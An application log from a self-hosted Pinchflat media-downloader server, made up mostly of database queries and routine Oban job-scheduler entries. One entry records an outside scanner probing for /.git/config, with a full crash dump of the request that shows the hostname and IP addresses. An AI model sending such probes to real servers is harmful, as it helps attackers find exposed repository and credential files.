date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:36:18.062 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=58.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:36:18.138 [debug] QUERY OK source="tasks" db=51.8ms idle=26.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2221, 1, ~U[2025-12-09 11:36:18Z], ~U[2025-12-09 11:36:18Z]] 14:36:18.170 [info] {"args":{"id":1},"id":2214,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":56220515,"event":"job:stop","attempt":1,"queue_time":164543,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 14:36:37.292 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.841 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:02.861 [info] GET /.git/config 14:37:02.880 [debug] QUERY OK source="settings" db=0.5ms idle=1159.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:37:02.883 [debug] QUERY OK source="settings" db=2.3ms idle=308.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:37:02.887 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:37:02.890 [error] #PID<0.9177.0> running PinchflatWeb.Endpoint (connection #PID<0.9176.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9176.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 19150}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "CSSCheck/1.2.2", "via" => "1.1 Caddy", "x-forwarded-for" => "185.177.72.75", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.9177.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "CSSCheck/1.2.2"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "185.177.72.75"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-JAoScTCRjhygAAJ1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9176.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 19150}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "CSSCheck/1.2.2", "via" => "1.1 Caddy", "x-forwarded-for" => "185.177.72.75", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9176.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 19150}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "CSSCheck/1.2.2", "via" => "1.1 Caddy", "x-forwarded-for" => "185.177.72.75", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.9177.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "CSSCheck/1.2.2"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "185.177.72.75"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-JAoScTCRjhygAAJ1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :ini (truncated) 14:37:07.294 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:37.297 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.842 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:07.300 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:29.328 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:38:37.302 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.844 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:07.304 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:37.306 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.850 [info] {"source":"oban","duration":3178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:07.309 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:37.320 [info] {"source":"oban","duration":10078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.854 [info] {"source":"oban","duration":3332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:07.328 [info] {"source":"oban","duration":3337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:37.329 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.855 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:07.331 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:37.335 [info] {"source":"oban","duration":3268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.858 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:07.337 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:37.339 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.861 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:07.341 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:37.343 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.863 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:07.345 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:37.348 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.864 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:07.352 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:37.354 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.865 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:07.356 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:37.360 [info] {"source":"oban","duration":3033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.866 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:07.362 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:37.364 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.868 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:07.367 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:37.369 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.872 [info] {"source":"oban","duration":2872,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:07.371 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:37.373 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.874 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:07.377 [info] {"source":"oban","duration":2440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:37.379 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.884 [info] {"source":"oban","duration":4593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:07.381 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:37.384 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.886 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:07.386 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:37.388 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.890 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:07.390 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:37.392 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.896 [info] {"source":"oban","duration":2586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:07.394 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:37.401 [info] {"source":"oban","duration":5880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.901 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:07.403 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:37.405 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.907 [info] {"source":"oban","duration":5013,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:07.407 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:37.410 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.912 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:07.414 [info] {"source":"oban","duration":2836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:37.416 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.914 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:07.421 [info] {"source":"oban","duration":3886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:37.423 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.914 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:07.425 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:37.428 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.918 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:07.430 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:37.432 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.919 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:07.435 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:37.437 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.922 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:07.441 [info] {"source":"oban","duration":2663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:37.443 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.926 [info] {"source":"oban","duration":3553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:07.445 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:37.448 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.927 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:07.450 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:29.471 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:05:37.453 [info] {"source":"oban","duration":2192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.928 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:07.455 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:37.457 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.932 [info] {"source":"oban","duration":3281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:07.459 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:29.479 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:07:37.462 [info] {"source":"oban","duration":2458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.933 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:07.466 [info] {"source":"oban","duration":3172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:37.473 [info] {"source":"oban","duration":4584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.934 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:07.475 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:37.477 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.935 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:07.479 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:37.482 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.938 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:07.484 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:37.487 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.939 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:07.489 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:37.495 [info] {"source":"oban","duration":5517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.948 [info] {"source":"oban","duration":7904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:07.497 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:37.499 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.949 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:07.501 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:37.503 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.950 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:07.505 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:37.507 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.951 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:07.509 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:37.513 [info] {"source":"oban","duration":3043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.952 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:07.515 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:37.517 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.953 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:07.519 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:37.525 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.969 [info] {"source":"oban","duration":13287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:07.532 [info] {"source":"oban","duration":5828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:37.534 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.973 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:07.538 [info] {"source":"oban","duration":2222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:37.540 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.981 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:07.543 [info] {"source":"oban","duration":2304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:37.545 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.983 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:07.547 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:29.557 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:22:37.549 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.984 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:07.551 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:29.563 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:23:37.553 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.985 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:07.555 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:37.559 [info] {"source":"oban","duration":3141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.991 [info] {"source":"oban","duration":4399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:07.561 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:37.563 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:01.000 [info] {"source":"oban","duration":7690,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:07.568 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:37.573 [info] {"source":"oban","duration":4129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.002 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:07.579 [info] {"source":"oban","duration":4058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:37.582 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.009 [info] {"source":"oban","duration":5904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:07.585 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:37.587 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.013 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:07.596 [info] {"source":"oban","duration":8067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:37.599 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.015 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:07.601 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:37.607 [info] 